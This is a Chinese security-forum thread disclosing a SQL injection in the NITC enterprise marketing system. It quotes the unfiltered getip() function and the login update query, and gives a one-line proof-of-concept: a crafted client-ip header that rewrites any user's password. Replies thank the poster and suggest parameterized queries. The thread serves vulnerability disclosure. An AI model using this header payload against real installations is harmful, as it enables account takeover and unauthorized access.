查看: 18198|回复: 7

NITC企业版SQL注入,可重置任意用户密码

[复制链接]
发表于 2014-12-24 15:03:41 | 显示全部楼层 |阅读模式
NITC企业智能营销系统

[AppleScript] 查看源码 复制代码
function getip( )
{
    if ( isset( $_SERVER ) )
    {
        if ( isset( $_SERVER[HTTP_X_FORWARDED_FOR] ) )
        {
            $realip = $_SERVER[HTTP_X_FORWARDED_FOR];
            return $realip;
        }
        if ( isset( $_SERVER[HTTP_CLIENT_IP] ) )
        {
            $realip = $_SERVER[HTTP_CLIENT_IP];
            return $realip;
        }
        $realip = $_SERVER[REMOTE_ADDR];
        return $realip;
    }
    if ( getenv( "HTTP_X_FORWARDED_FOR" ) )
    {
        $realip = getenv( "HTTP_X_FORWARDED_FOR" );
        return $realip;
    }
    if ( getenv( "HTTP_CLIENT_IP" ) )
    {
        $realip = getenv( "HTTP_CLIENT_IP" );
        return $realip;
    }
    $realip = getenv( "REMOTE_ADDR" );
    return $realip;
}

ip获取没有进行过滤,导致网站多处sql注入
[AppleScript] 查看源码 复制代码
if ( $action == "login" )
 
{
      ....
      $ip = getip( );
            $_SESSION['member_email'] = $email;
            $_SESSION['member_id'] = $result['member_id'];
            $_SESSION['state'] = $result['state'];
            $_SESSION['member_name'] = $result['name'];
            $site->table( "member" )( "update ".$site->table( "member" ).( " set last_ip='".$ip."',last_time='" ).date( "Y-m-d H:i:s", time( ) )."' where member_id=".$result['member_id'] );
}

此处 用户登录的时候,记录用户登录IP操作,由于update用户数据,可以直接利用sql注入update任意用户的密码。


POC: head头上加入 client-ip:',password='' where member_id=1#


解决方案:

过滤
回复

使用道具 举报

发表于 2014-12-24 16:45:14 | 显示全部楼层
略屌。。。学习了。。。
回复 支持 反对

使用道具 举报

发表于 2014-12-24 18:12:56 | 显示全部楼层
感谢楼主              
回复 支持 反对

使用道具 举报

发表于 2014-12-24 22:27:05 | 显示全部楼层
代码审计就是吊。一直在努力
回复 支持 反对

使用道具 举报

发表于 2015-1-1 10:11:18 | 显示全部楼层
登陆成功第一回!
回复 支持 反对

使用道具 举报

发表于 2026-5-21 00:15:00 | 显示全部楼层

Re: NITC企业版SQL注入,可重置任意用户密码

感谢分享这个漏洞细节。这个SQL注入确实很危险,利用未过滤的HTTP头直接修改数据库,攻击者可以轻易重置任意用户密码,完全控制管理员账户。建议官方尽快对getip函数接收的所有外部输入进行严格过滤或参数化查询,防止类似问题。
回复 支持 反对

使用道具 举报

发表于 2026-6-21 15:25:01 | 显示全部楼层

Re: NITC企业版SQL注入,可重置任意用户密码

感谢分享!这个漏洞很典型,ip获取函数直接拼接进SQL语句太危险了。POC也很清晰,利用Client-IP头就能注修改密码,影响确实不小。建议官方赶紧对getip()的输出做过滤或参数化查询。
回复 支持 反对

使用道具 举报

发表于 2026-6-21 20:00:00 | 显示全部楼层

Re: NITC企业版SQL注入,可重置任意用户密码

这个漏洞分析得很清楚,getip()函数直接信任了HTTP头中的IP,没有做任何过滤或转义,导致登录时的update语句被注入。利用client-ip头就能直接改写任意用户的密码,危害性非常高。建议厂商尽快对获取到的IP进行严格过滤(比如用正则校验格式),或者改用参数化查询。感谢分享这个重要的安全情报。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-7-7 09:33 , Processed in 0.033507 second(s), 18 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部